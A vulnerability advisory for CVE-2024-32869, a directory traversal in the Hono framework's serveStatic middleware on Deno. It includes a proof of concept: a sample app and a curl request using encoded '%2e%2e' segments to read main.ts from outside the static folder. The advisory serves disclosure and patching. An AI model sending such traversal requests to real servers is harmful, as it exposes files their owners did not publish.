CVE-2024-32869
MEDIUM5.3EPSS 1.7%Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
描述
### Summary When using serveStatic with deno, it is possible to directory traverse where main.ts is located. My environment is configured as per this tutorial https://hono.dev/getting-started/deno ### PoC ```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ``` source ```jsx import { Hono } from 'https://deno.land/x/[email protected]/mod.ts' import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts' const app = new Hono() app.use('/static/*', serveStatic({ root: './' })) Deno.serve(app.fetch) ``` request ```bash curl localhost:8000/static/%2e%2e/main.ts ``` response is content of main.ts ### Impact Unexpected files are retrieved.
受影響套件(1)
- npm/honofrom 0, < 4.2.7
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |